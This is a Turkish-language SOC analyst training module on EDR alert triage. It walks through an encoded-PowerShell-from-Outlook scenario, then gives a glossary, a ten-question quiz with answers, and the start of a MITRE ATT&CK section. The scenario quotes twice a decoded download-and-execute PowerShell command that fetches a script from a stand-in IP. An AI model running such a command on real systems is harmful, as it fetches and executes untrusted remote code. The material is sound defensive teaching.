Command line’ı Base64 decode etmeden yorum yapmaktan kaçın; içeriği görmeden false positive diyemezsin.
Tek bir kaynaktan aldığın bilgiye dayanarak kesin karar verme. En az iki kaynak korelasyonu yap.
Eskalasyon sınırını geç: credential dump şüphesi, lateral movement izi, kritik sistem etkisi → IR ekibine handoff.

Bulgu → Etki → Öneri → Kanıt

Bulgu: SRV-WEB01 üzerinde winword.exe parent process’inden encode edilmiş PowerShell çalıştırıldı. Ardından gelen komutlar (whoami, net user) keşif aktivitesine işaret ediyor. Dış 203.0.113.17:443 adresine bağlantı kuruldu; Suricata imzası Cobalt Strike beacon şüphesiyle eşleşme üretiyor.

Etki: Eğer bu bir C2 kanalıysa, saldırgan hedef sistemde komut çalıştırabilir, kimlik bilgisi toplayabilir ve yanal hareket gerçekleştirebilir. SRV-WEB01 üretim sistemine yakın konumda.

Öneri: testuser hesabını geçici olarak devre dışı bırakmayı değerlendir. SRV-WEB01’i ağdan izole etmeyi değerlendir. IR ekibine olayı eskalasyon kriterleriyle devret. Hesap devre dışı bırakma ve host izolasyonu gibi aksiyonlar kurum prosedürüne ve IR onayına göre uygulanmalıdır.

Kanıt: EDR alarm ID: #41892, Zeek conn.log timestamp 14:18:43, Suricata alert SID 2027865, AD kimlik log “testuser” son başarılı giriş 14:15 (aynı gün), process tree ekran görüntüsü vaka kaydına eklendi.

Operasyonel Senaryo

Senaryo: Gece Yarısı Encode Edilmiş PowerShell — Gerçek mi, Yönetim İşlemi mi?

Belirti

Gece 02:17’de EDR, DESKTOP-TEST01 hostunda severity: High alarm üretiyor. Alarm başlığı: “Encoded PowerShell Execution — Suspicious Parent Process”. Process tree: explorer.exe → outlook.exe → powershell.exe -EncodedCommand [...].

İlk Düşünce

Gece 02:17’de bir kullanıcı Outlook açıyor, ardından encode edilmiş PowerShell başlatılıyor. Bu zaman dilimi olağandışı. Office uygulamasından PowerShell başlatmak başlı başına şüpheli. Encode edilmiş argüman içerik gizleme girişimi olabilir. Ancak hemen “true positive” karar vermeden önce birkaç kritik kontrol yapılmalı.

Kontrol Edilecek Noktalar

Bu kullanıcı kurumun gece vardiyasında çalışıyor mu?
Encode edilmiş komut decode edildiğinde ne var?
Bu süreçten dış ağ bağlantısı kurulmuş mu?
Aynı kullanıcının kimlik loglarında aynı gece başka aktivite var mı?
Bu kullanıcı IT yöneticisi mi? Planlı bir bakım işlemi mi?

Kullanılacak Log / Telemetri Kaynakları

EDR (process tree, command line, endpoint timeline, ağ bağlantısı)
Windows Event ID 4624, 4688 (oturum açma ve process creation)
Sysmon Event ID 1 (process creation, tam command line)
Zeek conn.log ve dns.log (dış bağlantı kontrolü)
Active Directory / Entra ID sign-in logları (kullanıcı aktivitesi)
Proxy logları (outbound web isteği kontrolü)

Bakılacak Alanlar

ProcessCommandLine: Encode edilmiş komutun Base64 decode çıktısı.
InitiatingProcessFileName: outlook.exe mi, başka bir süreç mi? Parent chain doğru mu?
User: Hangi hesap? Domain hesabı mı, service account mı?
Timestamp: Cihazın timezone’u doğru ayarlanmış mı? UTC mi, yerel saat mi?
Zeek conn.log: Bu süreçten dış bağlantı var mı?

EDR Alert Investigation - Incident [DESKTOP-TEST01]

PS C:\Windows\system32> # EDR Alert: Encoded PowerShell Execution (Severity: High) PS C:\Windows\system32> # Base64 Decode Result (ProcessCommandLine) Invoke-WebRequest -Uri "http://198.51.100.77/update.ps1" -OutFile "$env:TEMP\update.ps1"; .\$env:TEMP\update.ps1

--- ADLİ BİLİŞİM KANIT NOTU --- Sistem Adı: DESKTOP-TEST01 (Accounting Dept) Kullanıcı: testuser (VPN Login from Unexpected Country) Zaman: 2026-05-13 02:17:45 Süreç Zinciri: outlook.exe -> powershell.exe Ağ Aktivitesi: 198.51.100.77:80 (42 KB Download) -> 198.51.100.77:443 (Active C2) # --- ANALİZ VE TESPİT NOTLARI --- # [!] Bulgusu: "testuser" hesabının parolası ele geçirilmiş (Credential Compromise). # [!] Tespit: Outlook üzerinden tetiklenen PowerShell, 3 günlük yeni bir domain'den # ikincil bir payload indirmiş ve temp dizininde yürütmüştür. # [!] Durum: Mevcut 443 bağlantısı, sistemin ele geçirildiğini (C2 established) doğrular. Karar: CONFIRMED TRUE POSITIVE - IR ESCALATION REQUIRED Aksiyon: Host izole edildi, "testuser" hesabı kilitlendi.

Amaç: Gece mesai dışı saatte Outlook üzerinden başlatılan encode edilmiş PowerShell aktivitesini; ağ bağlantıları (Zeek), kimlik kayıtları (VPN/Login) ve komut çözümü (Decode) üzerinden çapraz sorgulayarak bir siber ihlali belgeler.

Analiz

Analist encode edilmiş komutu Base64 decode ediyor. Decode edilen içerik şu davranışı gösteriyor:

Invoke-WebRequest -Uri "http://198.51.100.77/update.ps1" -OutFile "$env:TEMP\update.ps1"; .\$env:TEMP\update.ps1

Bu örnek yalnızca savunmacı analiz amacıyla verilmiştir; canlı sistemde çalıştırma amacı taşımaz. Komut, dış bir adresten script indirip çalıştırıyor. Bu içerik, IT yönetim araçlarının standart güncelleme mekanizmasıyla örtüşmüyor.

Kimlik loglarına bakıldığında: testuser, bu gece 02:15’te başarılı authentication gösteriyor. VPN üzerinden giriş yapılmış. Kaynak ülke beklenen ülke değil.

Zeek conn.log’a bakıldığında: DESKTOP-TEST01 → 198.51.100.77:80 arasında 45 saniyelik bağlantı ve yaklaşık 42 KB indirme görülüyor. Aynı IP’den 5 dakika sonra 443 portuna 60 saniye süren düzenli veri alışverişi başlıyor.

Proxy log’da: 198.51.100.77 daha önce bu kullanıcı veya bu host tarafından ziyaret edilmemiş. Hedef domain/IP kurumun bilinen altyapısıyla ilişkili değil. Domain yaşı 3 gün olarak görünüyor.

False Positive İhtimali

Bu senaryoda false positive ihtimali şu koşulda değerlendirilebilir: Eğer IT ekibi gece zamanlanmış bir güncelleme script’i çalıştırıyor olsaydı, bu script yetkili bir içerik dağıtım sunucusundan gelmeli ve IT ekibi tarafından onaylanmış olmalıydı. Analist IT ekibini arar veya değişiklik kaydı kontrol eder.

Değerlendirme: IT change management’ta kayıt yok. Sunucu adresi 198.51.100.77 kurumun altyapısıyla ilgisiz. Kimlik kaydında olağandışı ülke girişi var. Script içeriği meşru güncelleme formatıyla örtüşmüyor. False positive ihtimali çok düşüktür.

Escalation Gerekir mi?

Evet. Şu kriterler karşılandı:

Credential compromise şüphesi: olağandışı lokasyon, gece girişi.
Dışarıdan kod çekme ve çalıştırma.
Ardından gelen dış bağlantı: potansiyel C2.
Kullanıcı testuser: IT çalışanı değil, muhasebe departmanı.

IR ekibine handoff yapılmalıdır. Aynı zamanda testuser hesabının geçici olarak devre dışı bırakılması önerilmeli ve DESKTOP-TEST01’in ağdan izole edilmesi değerlendirilmelidir. Bu kararlar IR ekibinin onayıyla alınmalıdır.

Karar

Confirmed suspicious — IR eskalasyonu gerekli. Hesap devre dışı bırakma ve host izolasyon önerisi kanıta dayalı olarak sunuldu.

Bulgu → Etki → Öneri → Kanıt

Bulgu: 15 Mart 2024, 02:17 UTC’de DESKTOP-TEST01 üzerinde testuser hesabı altında outlook.exe kaynaklı encode edilmiş PowerShell çalıştırıldı. Komut, dış 198.51.100.77 adresinden bir script indirerek çalıştırdı. Ardından aynı adrese C2 benzeri periyodik bağlantılar başladı. Kullanıcının aynı gece olağandışı bir lokasyondan VPN ile giriş yaptığı kimlik loglarıyla doğrulandı. 198.51.100.77 ile ilişkili domain yaşı 3 gün; daha önce kurumdan hiç erişilmemiş.

Etki: Saldırgan testuser kimliğini ele geçirmiş olabilir. DESKTOP-TEST01 üzerinde aktif C2 kanalı açık olabilir. Kullanıcının muhasebe sistemi ve kurumsal dosya sunucularına erişim yetkisi mevcut; bu kaynaklar risk altında.

Öneri:
testuser hesabını derhal devre dışı bırak ve şifre sıfırla.
DESKTOP-TEST01’i ağdan izole et (IR onayıyla).
198.51.100.77 adresini firewall üzerinden blokla.
Aynı dış IP’ye bağlantı kuran başka host var mı? SIEM’de sorgula.
IR ekibine handoff yap; memory dump ve forensic toplama süreci için kurum prosedürünü işlet.

Kanıt: EDR Alert ID #41892 (DESKTOP-TEST01, 02:17 UTC). Process tree ekran görüntüsü vaka kaydına eklendi. Decode edilmiş komut: Invoke-WebRequest + script çalıştırma. Zeek conn.log: 02:17-02:22 arası 198.51.100.77:80 ve :443 bağlantıları. Entra ID sign-in log: testuser, 02:15 UTC, beklenmeyen ülke, VPN üzeri. IT change management: Bu gece için kayıtlı bakım işlemi yok.

Terimler Sözlüğü

Terim	Türkçe Karşılığı / Teknik Açıklama
Process Tree & Parent Process	Süreç zinciri ve üst süreç. Bir işlemin hangi hiyerarşiyle başlatıldığını ve "kim tarafından" tetiklendiğini gösteren yapı.
Command Line	Bir sürecin başlatılırken kullandığı tam argüman dizisi; saldırı analizinde en kritik kanıtlardan biridir.
LOLBin (Living Off the Land)	Saldırganların tespit edilmemek için kullandığı meşru sistem araçları (Örn: `certutil`, `bitsadmin`).
EDR vs XDR	EDR: Endpoint odaklı izleme ve yanıt. XDR: Endpoint, ağ, bulut ve kimlik verilerini birleştiren genişletilmiş platform.
Behavioral vs Signature Detection	Davranışsal tespit süreç örüntüsüne odaklanırken; imza tabanlı tespit bilinen kötü hash veya string kalıplarını arar.
NSM (Zeek, Suricata, Arkime)	Ağ izleme ekosistemi. Zeek log üretir, Suricata imza tabanlı alarm üretir, Arkime ise paketleri (PCAP) arşivler.
DGA & DNS Tunneling	Zararlı yazılımların C2 için rastgele domain üretmesi (DGA) veya veriyi DNS sorguları içine gömerek sızdırması.
Beaconing	Zararlı yazılımın Komuta Kontrol (C2) sunucusuna belirli aralıklarla gönderdiği "hayattayım" sinyali.
SNI & ECH	TLS bağlantısında hedef domain bilgisi (SNI). ECH, bu bilginin şifrelenerek gizlenmesini sağlayan modern mekanizmadır.
Pivot (User, Host, Network)	Analizi belirli bir odak noktasından (kullanıcı, IP, host) başlatıp diğer ilişkili olaylara genişletme tekniği.
Integrity Level	Windows süreçlerinin yetki seviyeleri (Low, Medium, High, System). Yetki yükseltme analizinde temel kriterdir.
Tamper Protection	Güvenlik yazılımlarının (EDR vb.) saldırganlar tarafından devre dışı bırakılmasını engelleyen koruma katmanı.
False vs True Positive	FP: Yanlış alarm. TP: Gerçek tehdit. Benign: Teknik olarak TP ama kurumca izinli faaliyet.
Kritik Event ID'ler	4698: Görev oluşturma. 7045: Yeni servis. 4663: Obje erişimi. Sysmon 23/26: Dosya silme işlemleri.
Zeek Logs (ssl.log / x509.log)	Şifreli trafik metadatası ve sertifika detaylarının (issuer, subject vb.) tutulduğu kayıtlar.

Kendini Değerlendir — EDR ve Ağ Telemetrisi

Aşağıdaki 10 soru modül kazanımlarını ölçer. Her soru için en iyi cevabı seçin ve Testi Gönder düğmesine basın.

1) EDR bir süreçte «powershell.exe -enc ...» davranışı işaretledi; dosya imzası temiz. Analist ilk adımda ne yapmalı?

A) Yalnızca dosya adına bakmak

B) Davranış bağlamını, ebeveyn süreci ve komut satırını inceleyip triyaj

C) Uyarıyı sessizce silmek

D) Tüm ağı kapatmak

Doğru: B
Gerekçe: Davranışsal tespit doğrulama ve bağlam gerektirir.

2) «Process tree analizi» uygulanmadığı için bir olayda müdahale gecikti. Ekibin öncelikli düzeltmesi ne olmalıdır?

A) Tüm logları silmek

B) İnterneti kalıcı kapatmak

C) Yalnızca antivirüs imzasını güncellemek

D) Process tree analizi için tanımlı kontrolü devreye almak ve süreci dokümante etmek

Doğru: D
Gerekçe: Eksik kalan «Process tree analizi» doğrudan hedeflenmeli; diğer seçenekler sorunu çözmez.

3) «Network connection enrichment» uygulanmadığı için bir olayda müdahale gecikti. Ekibin öncelikli düzeltmesi ne olmalıdır?

A) Network connection enrichment için tanımlı kontrolü devreye almak ve süreci dokümante etmek

B) Tüm logları silmek

C) Yalnızca antivirüs imzasını güncellemek

D) İnterneti kalıcı kapatmak

Doğru: A
Gerekçe: Eksik kalan «Network connection enrichment» doğrudan hedeflenmeli; diğer seçenekler sorunu çözmez.

4) Av hipotezi: «PowerShell ile uzak indirme». Hangi ATT&CK taktik/teknik ailesine en yakındır?

A) Execution ve Command and Control davranışları

B) Physical destruction

C) Initial Access — Phishing yalnızca

D) Backup encryption only

Doğru: A
Gerekçe: Script çalıştırma ve uzak iletişim birden fazla taktikle ilişkilidir.

5) Bir stajyer «Memory/script blocking» hakkında «ezberledim, uygulamaya gerek yok» dedi. En doğru yanıt?

A) Kavramın pratikte nasıl uygulandığını ve hangi hatayı önlediğini açıklaması gerekir

B) Sadece sınavda sorulursa öğrenilir

C) Araç adı yeterlidir

D) Yalnızca yöneticiler bilir

Doğru: A
Gerekçe: «Memory/script blocking» uygulama ve risk bağlamı olmadan anlamlı değildir.

6) EDR bir süreçte «powershell.exe -enc ...» davranışı işaretledi; dosya imzası temiz. Analist ilk adımda ne yapmalı?

A) Yalnızca dosya adına bakmak

B) Tüm ağı kapatmak

C) Davranış bağlamını, ebeveyn süreci ve komut satırını inceleyip triyaj

D) Uyarıyı sessizce silmek

Doğru: C
Gerekçe: Davranışsal tespit doğrulama ve bağlam gerektirir.

7) «Agent sağlık izleme» uygulanmadığı için bir olayda müdahale gecikti. Ekibin öncelikli düzeltmesi ne olmalıdır?

A) Tüm logları silmek

B) Yalnızca antivirüs imzasını güncellemek

C) İnterneti kalıcı kapatmak

D) Agent sağlık izleme için tanımlı kontrolü devreye almak ve süreci dokümante etmek

Doğru: D
Gerekçe: Eksik kalan «Agent sağlık izleme» doğrudan hedeflenmeli; diğer seçenekler sorunu çözmez.

8) «Tam disk tarama vs on-access» uygulanmadığı için bir olayda müdahale gecikti. Ekibin öncelikli düzeltmesi ne olmalıdır?

A) Tüm logları silmek

B) İnterneti kalıcı kapatmak

C) Tam disk tarama vs on-access için tanımlı kontrolü devreye almak ve süreci dokümante etmek

D) Yalnızca antivirüs imzasını güncellemek

Doğru: C
Gerekçe: Eksik kalan «Tam disk tarama vs on-access» doğrudan hedeflenmeli; diğer seçenekler sorunu çözmez.

9) «Ransomware davranış sinyalleri» uygulanmadığı için bir olayda müdahale gecikti. Ekibin öncelikli düzeltmesi ne olmalıdır?

A) Yalnızca antivirüs imzasını güncellemek

B) İnterneti kalıcı kapatmak

C) Tüm logları silmek

D) Ransomware davranış sinyalleri için tanımlı kontrolü devreye almak ve süreci dokümante etmek

Doğru: D
Gerekçe: Eksik kalan «Ransomware davranış sinyalleri» doğrudan hedeflenmeli; diğer seçenekler sorunu çözmez.

10) Bir stajyer «Response action (izole et)» hakkında «ezberledim, uygulamaya gerek yok» dedi. En doğru yanıt?

A) Yalnızca yöneticiler bilir

B) Sadece sınavda sorulursa öğrenilir

C) Kavramın pratikte nasıl uygulandığını ve hangi hatayı önlediğini açıklaması gerekir

D) Araç adı yeterlidir

Doğru: C
Gerekçe: «Response action (izole et)» uygulama ve risk bağlamı olmadan anlamlı değildir.

Bu Modülde Kazanılan Yetkinlikler

Endpoint telemetrisini bütünlüklü okuyabilir. Process creation’ı tek başına değil, parent-child zinciri, command line, user context ve working directory ile birlikte değerlendirerek yorumlar. Bir alarm geldiğinde “bu süreç nereden geldi, nasıl çağrıldı, kim başlattı?” sorularına kanıta dayalı yanıt verebilir.
EDR alarmını triaj edebilir. Severity ve confidence değerlerini, varlık kritikliğini, process tree’yi, komut satırını ve ağ bağlantısını birlikte değerlendirerek alarmın false positive mi yoksa gerçek tehdit mi olduğunu kararlaştırabilir. EDR’ın “response öner” aksiyonlarına direkt uymak yerine önce analiz yapması gerektiğini bilir.
XDR ile EDR arasındaki farkı operasyonel olarak kavrar. EDR’ın endpoint odaklı, XDR’ın ise birden fazla kaynak arasında korelasyon kuran yapı olduğunu; ancak her ikisinin de kaliteli veri ve doğru entegrasyona bağlı olduğunu bilir.
Zeek, Suricata ve Arkime’ın ağ analizindeki rollerini ayırt edebilir. Zeek’in protokol seviyesinde yapılandırılmış log ürettiğini, Suricata’nın imza tabanlı alarm ürettiğini ve Arkime’ın session/PCAP erişimi sağladığını; bu üç aracın birbirini tamamladığını kavrar.
DNS ve HTTP metadata üzerinden C2 ve anormal davranış sinyallerini okuyabilir. DGA, DNS tunneling, beaconing, olağandışı user-agent, SNI ve ECH gibi kavramları gerçek log çıktılarıyla ilişkilendirerek fark eder.
Şifreli trafiğin görünmezliğinin tamamen aşılamaz olmadığını bilir. TLS payload’ı görünmese bile SNI görülebiliyorsa SNI, sertifika bilgisi, bağlantı frekansı, ASN, endpoint bağlamı ve zamanlama analizi anlamlı bilgi sağlar. ECH gibi yeni mekanizmalar SNI görünürlüğünü azaltabileceği için analist tek bir metadata alanına güvenmemelidir.
Pivot tekniklerini kullanarak tekil alarmı olay zincirine dönüştürebilir. User, host, network ve process pivot üzerinden soruşturmayı genişleterek “bu alarm ne kadar büyük bir olayın parçası?” sorusunu yanıtlayabilir.
Kanıta dayalı timeline oluşturabilir. Endpoint, network ve identity loglarını zaman sırasına dizerek saldırı zincirini anlatıya dönüştürür ve bu anlatıyı hem IR ekibine handoff hem de vaka kaydı için kullanır.
False positive yanılgısını azaltır. Yalnızca tek bir kaynağa dayanmak yerine en az iki farklı veri kaynağının korelasyonuyla karar verir. “Alarm geldi, kapatayım” yerine “alarm geldi, hangi kaynaklar ne söylüyor?” sorusunu sorar.

Modül Teması

MITRE ATT&CK

Taktik, teknik, prosedür çerçevesi.

Threat Hunting

Hipotez tabanlı proaktif arama.

TTP Analizi

IoC ötesinde davranış odaklı tespit.

MITRE ATT&CK, bir SOC analistinin alarm ekranında gördüğü olayla “saldırganın ne yapmaya çalıştığı” arasında köprü kuran analitik çerçevedir. Bu modül, ATT&CK’i yalnızca teknik ID etiketlemek için değil; detection coverage boşluklarını görmek, hunting hipotezi üretmek, log ihtiyacını belirlemek ve risk önceliklendirmesi yapmak için nasıl kullanacağınızı anlatır. Temel eğitimde ATT&CK’in ne olduğunu tanıdınız; bu modülde onu SOC operasyonunun içine entegre etmeyi öğreneceksiniz. MITRE ATT&CK, gerçek dünya gözlemlerine dayalı saldırgan taktik ve tekniklerini içeren açık bir bilgi tabanı olarak tanımlanır.

Pyramid of Pain, hash tabanlı tespitten TTP tabanlı tespite geçişin neden bu kadar önemli olduğunu gösterir. Saldırganlar hash değerlerini, IP adreslerini, domain adlarını ve araçlarını daha kolay değiştirebilir; ancak taktik, teknik ve prosedür seviyesindeki davranış kalıplarını değiştirmek onlar için gerçek bir maliyet yaratır. Bu maliyet denklemi, SOC’un detection stratejisini saldırganın değiştirmesinin en zor olduğu katmana oturtmasını gerektirir. Pyramid of Pain’in klasik sıralaması hash, IP adresi, domain adı, network/host artifact, araç ve TTP katmanları üzerinden ilerler.

Threat hunting, alarm beklemeden proaktif saldırgan izi aramanın sistematik yöntemidir. Bu modül, hunting’i soyut bir kavram olarak değil; hipotez, veri kaynağı, sorgu ve çıktı döngüsü içinde somut bir operasyonel pratik olarak ele alır. Bir hunting çalışmasının nasıl başlatıldığı, nasıl sınırlandırıldığı, bulguların nasıl sınıflandırıldığı ve bunların detection engineering ile playbook süreçlerine nasıl geri beslendiği anlatılır.

Tehdit istihbaratı ise bu modülde derin CTI üretimi olarak değil; analistin alarm bağlamını zenginleştirmek, hunting fikri üretmek ve detection önceliklendirmesi yapmak için kullandığı destekleyici bilgi katmanı olarak konumlandırılır.

Bu Modülde Hedeflenen Kazanımlar

MITRE ATT&CK’teki taktik, teknik, alt teknik ve prosedür katmanlarını SOC analiz sürecine entegre edebilecek; bir alarmı yalnızca teknik ID ile etiketlemekle yetinmeyip detection ihtiyacını ve coverage boşluğunu değerlendirebilecek.
ATT&CK Navigator’ı kullanarak kurumun detection coverage haritasını çıkarabilecek; hangi tekniklerin kapsandığını, hangilerinin veri kaynağı eksikliği nedeniyle kör nokta oluşturduğunu görselleştirebilecek.
Pyramid of Pain çerçevesinde hash, IP adresi, domain adı, network/host artifact, araç ve TTP tabanlı tespit seviyelerini karşılaştırarak neden TTP odaklı detection’ın daha kalıcı olduğunu açıklayabilecek.
Hypothesis-driven, analytics-driven ve intel-driven hunting yaklaşımlarından birini seçerek hunt scope belirleyebilecek ve arama çalışmasını planlı biçimde başlatabilecek.
Bir hunting çalışmasının bulgularını benign, suspicious, confirmed malicious, detection opportunity ve data gap olarak sınıflandırabilecek.
Hunting çıktısını yeni detection kuralı, tuning ihtiyacı, log kaynağı gereksinimi veya playbook güncellemesine dönüştürebilecek.
Tehdit istihbaratından gelen IOC, TTP ve kampanya bilgisini alarm bağlamı zenginleştirme, hunting hipotezi ve detection önceliklendirmesi için operasyonel düzeyde kullanabilecek.
Bir CTI raporunu okuyarak içindeki IOC, TTP, hedef sektör, saldırı zinciri ve savunma önerilerini SOC operasyonuna taşıyacak pratik çıkarımları yapabilecek.

1. MITRE ATT&CK Çerçevesini SOC Analizi İçin Kullanma

1.1 MITRE ATT&CK Nedir?

MITRE ATT&CK, gerçek dünya saldırılarından derlenen, saldırganların kurban ortamlarda ne yaptığını belgelendiren açık kaynaklı bir bilgi tabanıdır. İçindeki her giriş yalnızca teorik değil; gerçek kampanyalarda gözlemlenmiş davranışlara dayanır. SOC için ATT&CK’in değeri, bir alarm veya tehdit sinyali karşısında “bu hangi saldırgan davranışına karşılık geliyor?” sorusunu yapılandırılmış biçimde yanıtlamasında yatar.

ATT&CK’i yalnızca bir sınıflandırma sistemi olarak görmek eksik bir bakış açısıdır. Onu detection engineering için öncelik aracı, hunting için hipotez çerçevesi, coverage analizi için harita ve risk önceliklendirme için referans olarak kullanmak, bir SOC’un analitik olgunluğunu doğrudan artırır.

1.2 ATT&CK’te Taktik Kavramı: Saldırganın Amacı

Tactic, saldırganın belirli bir aşamada neyi başarmaya çalıştığını ifade eder. MITRE, taktikleri bir teknik veya alt tekniğin “neden” yapıldığını, yani saldırganın taktik amacını temsil eden katman olarak açıklar.

Execution, saldırganın kodu çalıştırmak istediğini; Persistence, sistemde kalıcı olmak istediğini; Credential Access, kimlik bilgisi toplamak istediğini gösterir. SOC analistinin bir alarmı değerlendirirken önce “saldırgan burada hangi amacı güdüyor?” sorusunu sorması, analizin geri kalanını doğru yönde şekillendirir.

Taktik bilmek sizi aynı zamanda saldırı zincirinin neresinde durduğunuzu anlamaya götürür. Eğer gözlemlediğiniz davranış Lateral Movement tactic’i altında yer alıyorsa, saldırgan muhtemelen ortama çoktan girmiş ve yayılmaya başlamıştır. Bu anlık tespit değil, devam eden bir kampanyanın işaretidir; escalation eşiği de buna göre düşmelidir.

1.3 ATT&CK’te Teknik Kavramı: Saldırganın Yöntemi

Technique, bir taktik amacına ulaşmak için kullanılan spesifik yöntemdir. Örneğin Credential Access tactic’i altında OS Credential Dumping (T1003) tekniği; Execution tactic’i altında Command and Scripting Interpreter (T1059) tekniği yer alır. Teknik seviyesi, detection kuralı geliştirmek için gereken netliği sağlar: Hangi davranışı yakalamak istiyoruz ve hangi log kaynağı bunu görünür kılar?

SOC analistinin alarm değerlendirmesinde teknik bilgi, “bu süreç bu parent’tan neden başlatıldı?” veya “bu komut neden bu parametrelerle çalıştı?” gibi sorulara daha hızlı ve doğru yanıt vermesini sağlar. ATT&CK teknik sayfaları aynı zamanda ilgili Data Sources ve Data Components bilgilerini içerir; bu bilgiler, tekniği görünür kılmak için hangi sensör/log türlerine ve hangi veri bileşenlerine ihtiyaç olduğunu değerlendirmede doğrudan kullanılabilir.

1.4 ATT&CK’te Alt Teknik Kavramı: Yöntemin Özel Uygulama Biçimi

Sub-technique, bir tekniğin daha spesifik uygulamasını tanımlar. OS Credential Dumping (T1003) tekniğinin altında LSASS Memory (T1003.001), Security Account Manager (T1003.002), NTDS (T1003.003) gibi alt teknikler yer alır. Bu ayrım, detection kuralı geliştirmede kritik öneme sahiptir: LSASS dump ile SAM dump farklı davranışlar, farklı log alanları ve farklı detection mantıkları gerektirir.

Alt teknik seviyesinde çalışmak, false positive oranını düşürür ve kuralın hedefini keskinleştirir. “Credential dumping olabilir” gibi çok geniş bir yaklaşım yerine, LSASS memory erişimi, SAM database export denemesi veya NTDS.dit erişimi gibi alt teknik seviyesinde düşünmek daha sağlıklı detection üretir.

Örneğin “LSASS’a erişim” genel bir kural yazmak yerine, spesifik erişim yöntemi, çağıran process, GrantedAccess değeri, imza durumu, parent process ve integrity level gibi alanları birlikte kullanan bir kural çok daha düşük gürültü üretir.

1.5 ATT&CK’te Procedure Kavramı: Tekniğin Gerçek Dünyadaki Uygulanışı

Procedure, belirli bir tehdit aktörü, malware ailesi veya kampanyanın bir tekniği nasıl uyguladığını belgeler. ATT&CK’in her teknik sayfasındaki “Procedure Examples” bölümü bu somut uygulamaları listeler. SOC analisti açısından procedure bilgisi, bir alarmın hangi aktör profiline veya malware ailesine işaret edebileceğini değerlendirmek için kullanılabilir.

Ancak burada bir dikkat noktası vardır: Procedure, bir aktörün belirli bir dönemdeki gözlemlenmiş davranışını yansıtır. Aktörler araç ve yöntemlerini zamanla değiştirebilir. Bu yüzden procedure bilgisi bir hipotez aracı olarak kullanılmalı, kesin atıf için kullanılmamalıdır.

Bir alarmın procedure örneğiyle benzerlik göstermesi, “bu kesin şu aktördür” anlamına gelmez. Doğru yaklaşım şudur: “Bu davranış, şu aktör veya kampanya tarafından kullanılan bir prosedüre benziyor; bu yüzden aynı zincirde hangi diğer TTP’ler olabilir?” Bu bakış, attribution hatasını azaltır ve investigation kapsamını doğru genişletir.

1.6 ATT&CK’i Yalnızca Etiketleme Değil Analiz Modeli Olarak Kullanma

Bir alarmı kapattıktan sonra “ATT&CK: T1059.001” yazmak etiketlemedir. Analiz modeli olarak kullanmak ise farklı sorular sormayı gerektirir:

Bu tekniği tespit edebilmek için hangi veri kaynağına ihtiyacım var? Kurumda bu kaynak mevcut mu?
Bu teknik için mevcut detection kuralım ne kadar kapsamlı? Sadece belirli bir sub-technique’i mi yakalıyor?
Bu tekniğe karşı detection coverage’ımda boşluk var mı?
Bu teknik kurumun tehdit profiline göre öncelikli mi?
Bu tekniği kullanan saldırgan davranışı tek başına mı görülür, yoksa başka taktiklerle birlikte mi değerlendirilmelidir?

Bu soruları sormak ATT&CK’i pasif bir etiket kütüphanesinden aktif bir analiz aracına dönüştürür. Detection engineer, SOC lead veya threat hunter için bu sorgulama alışkanlığı; detection stratejisinin ve hunting planının temelini oluşturur.

Bir olayı kapattıktan sonra yalnızca vaka kaydına ATT&CK teknik ID’si yazmak yeterli değildir. O teknik için kurumda başka coverage var mı, log kaynağı yeterli mi, bu tekniği kullanan başka saldırgan davranışı olabilir mi? Bu soruları sormak, olayı bir öğrenme fırsatına dönüştürür.

2. ATT&CK Navigator ile Detection Coverage Analizi Yapma

2.1 ATT&CK Navigator Nedir?

ATT&CK Navigator, MITRE’nin sunduğu açık kaynaklı bir görselleştirme aracıdır. ATT&CK matrisini bir ızgara olarak sunar; her hücre bir tekniği temsil eder ve analist bu hücreleri renklendirerek, puanlayarak veya etiketleyerek coverage haritası çıkarabilir. MITRE, Navigator’ı ATT&CK matrislerini açıklama, keşfetme ve defensive coverage gibi amaçlarla kullanılan web tabanlı bir araç olarak konumlandırır.

SOC için Navigator’ın değeri soyut olmayan şeyleri görünür kılmasında yatar: Kurumun detection kuralı olan teknikler hangileri? Veri kaynağı mevcut olduğu hâlde kural yazılmamış teknikler hangileri? Hiç görünürlük olmayan teknikler hangileri? Bu üç katman, bir SOC’un güçlü ve zayıf noktalarını somut olarak ortaya koyar.

2.2 Detection Coverage ile Tespit Edilen Teknikleri Görme

Navigator’da coverage analizi yapmanın en pratik yolu, detection kurallarını tekniklerle eşleyerek her tekniği üç durumdan birine atamaktır:

Durum / Seviye	Teknik Anlamı ve Operasyonel Etkisi
Otomatik Detection	Tam Görünürlük: Aktif bir korelasyon kuralı mevcuttur. Tehdit gerçekleştiğinde SIEM/EDR anında alarm üretir ve SOC kuyruğuna düşer.
Manuel Gözlem	Kısıtlı Görünürlük: Otomatik bir alarm mekanizması yoktur ancak ham loglar sisteme akmaktadır. Tehdit ancak bir analistin "Threat Hunting" (Tehdit Avcılığı) sorgusu yapmasıyla tespit edilebilir.
Kör Nokta (Blind Spot)	Sıfır Görünürlük: İlgili teknikte ne bir kural ne de veri kaynağı mevcuttur. Saldırgan bu alanı kullandığında SOC ekibi saldırıyı teknik olarak göremez.

Bu ayrımı yapmak, “coverage’ımız ne durumda?” sorusuna gerçekçi bir yanıt verir. Yalnızca sahip olunan detection kurallarına bakarak “şu kadar tekniği kapsıyoruz” demek yanıltıcıdır; asıl soru otomatik tespit ile manuel gözlem arasındaki dengenin nasıl göründüğüdür.

2.3 Data Source Coverage ile Gerekli Veri Kaynaklarını Değerlendirme

Her ATT&CK tekniğinin sayfasında o tekniği gözlemlemek için ilgili Data Sources ve Data Components bilgileri incelenebilir. Data sources, sensörler veya loglar tarafından toplanabilecek bilgi başlıklarını; data components ise bu veri kaynaklarının tekniği tespit etmede kullanılabilecek spesifik özelliklerini ifade eder.

Örneğin Scheduled Task/Job (T1053.005) için Windows Event Log, Sysmon, process telemetry ve scheduled task değişiklikleri gibi kaynaklar değerlendirilebilir. SOC analistinin bu listeyi kurumun mevcut veri kaynaklarıyla karşılaştırması, “bu tekniği yakalamak için ne eksik?” sorusunu yanıtlar. Scheduled task logları toplanmıyorsa, bu teknik için yazılan her kural eksik veriyle çalışır ve false negative riski taşır.

İpucu: ATT&CK teknik sayfalarını açarak Data Sources ve Data Components bölümüne bakın ve her teknik için kurumunuzun hangi kaynakları topladığını not edin. Bu alıştırma, log ihtiyacınızın haritasını çıkarmanın en hızlı yollarından biridir.

2.4 Heatmap Yaklaşımıyla Güçlü ve Zayıf Alanları Görselleştirme

